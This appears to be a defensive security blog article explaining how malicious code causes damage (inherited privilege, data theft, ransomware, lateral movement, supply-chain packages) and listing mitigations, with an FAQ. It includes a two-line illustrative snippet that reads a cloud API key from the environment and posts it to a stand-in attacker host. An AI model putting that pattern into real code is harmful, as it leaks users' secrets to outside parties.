Malicious code does damage by executing with the privileges of whatever it infects, then using those privileges to steal data, destroy or encrypt it, spread further, or hand control to an attacker. The question "how can malicious code do damage" has a deceptively simple answer: code runs, and running code can do anything the account and process it runs as are allowed to do. Everything else is a variation on that theme. Understanding the specific mechanisms is what lets you decide where to spend defensive effort.
The root cause: inherited privilege
The reason a malicious script or dependency is dangerous is that it does not run in a vacuum. It runs as a user, a service account, or a process with a set of permissions, and it inherits all of them. A build script running in CI has access to your build secrets. A browser extension has access to the pages you visit. A postinstall hook in an npm package runs with your shell's full permissions on your laptop.
So when people ask how can a malicious code cause damage, the honest first answer is: because we granted the process it hijacked more power than the task required. Nearly every mitigation later in this article is a way of shrinking that inherited power.
Data theft and exfiltration
The most common goal of modern malicious code is to steal data rather than destroy it, because stolen data has resale and extortion value. Once running, the code reads what the process can reach (environment variables, config files, tokens, customer records) and sends it to an attacker-controlled endpoint.
The mechanism is usually mundane: read a file or an environment variable, then make an outbound HTTPS request. Conceptually:
# Illustrative only — the pattern, not a working tool
token = os.environ.get("CLOUD_API_KEY")
requests.post("https://attacker.example/collect", data={"t": token})
This is exactly why leaked secrets in environment variables are so damaging, and why egress filtering matters. Code that cannot reach an arbitrary external host has a much harder time exfiltrating what it steals.
Destruction and ransomware
Some malicious code destroys rather than steals. Ransomware encrypts files and demands payment for the key; wiper malware simply deletes or corrupts data to cause disruption. The damage scales with two things: how many files the process can write to, and whether good, offline backups exist.
The lesson is not glamorous. Least-privilege file access limits how much a single compromised process can encrypt, and tested, offline or immutable backups turn a catastrophic ransomware event into an annoying restore. Organizations that pay ransoms are almost always the ones whose backups were reachable (and therefore also encrypted) from the same compromised account.
Spreading and persistence
Malicious code rarely wants to run once. It wants to keep running and to reach more systems. It spreads by abusing trust relationships: reusing harvested credentials to log into other machines, exploiting a network service, or embedding itself in artifacts that get deployed elsewhere. It persists by installing itself as a service, a scheduled task, a cron job, or a startup item so a reboot does not remove it.
This is how a single compromised laptop becomes a compromised network. Each hop uses legitimate mechanisms (SSH, deployment pipelines, shared credentials) which is what makes lateral movement hard to distinguish from normal activity. Network segmentation and unique, scoped credentials per system are the controls that slow it down.
Supply-chain delivery: the modern vector
Increasingly, malicious code does not arrive as an emailed attachment. It arrives inside a dependency you deliberately installed. An attacker publishes a malicious package (or compromises a legitimate one via a hijacked maintainer account), and it executes the moment you run npm install, pip install, or your build. Because you invited it in, it runs with your developer or CI privileges and skips right past your perimeter.
This is the category we spend the most time on, because it inverts the usual model: the code is malicious, but the delivery is a trusted, routine action. A postinstall script that runs during dependency resolution has your full local privileges before you have run a single line of your own code. Software Composition Analysis exists partly to catch this: an SCA tool can flag a dependency that suddenly gained a suspicious install hook or a known-malicious version, and it does so before that code ever runs in your pipeline.
Limiting the damage: defense in depth
No single control stops all malicious code, so the goal is to make each of the mechanisms above less rewarding:
- Least privilege. Run services and CI jobs as accounts with the minimum access they need. A build that cannot read production secrets cannot leak them.
- Egress control. Restrict outbound network access from build and server environments so exfiltration has nowhere to go.
- Immutable, offline backups. Defeat ransomware by making clean restore possible.
- Dependency scanning and pinning. Lockfiles plus scanning catch known-malicious and known-vulnerable packages before install.
- Segmentation and unique credentials. Slow lateral movement so one compromise does not become total compromise.
- Monitoring. Detect the outbound connection, the new persistence mechanism, or the anomalous file access, so you find the code even when prevention fails.
The through-line is that damage is a function of privilege and reach. You cannot guarantee no malicious code ever runs, but you can guarantee that when it does, it inherits little, reaches little, and gets noticed quickly. That is the whole game.
FAQ
How can malicious code cause damage if I never open a suspicious file?
Because the most common modern delivery is not a file you open. It is a dependency you install or a compromised update you pull. Malicious code in a package runs automatically during installation or build, with your privileges, without you ever double-clicking anything.
What is the single most effective defense?
Least privilege. Most damage happens because the compromised process could reach far more than its task required: production secrets, the whole filesystem, arbitrary external hosts. Shrinking what each process can access shrinks what any malicious code can do.
Why is stolen data often worse than destroyed data?
Destroyed data can be restored from backups. Stolen data cannot be un-stolen, and it fuels extortion, fraud, and follow-on attacks. That is why exfiltration, not destruction, is the goal of most modern malicious code.
Can antivirus alone stop malicious code?
No. Signature-based tools catch known threats but miss novel malware, supply-chain attacks, and living-off-the-land techniques that use legitimate tools. Antivirus is one layer; least privilege, egress control, backups, and dependency scanning cover the gaps it leaves.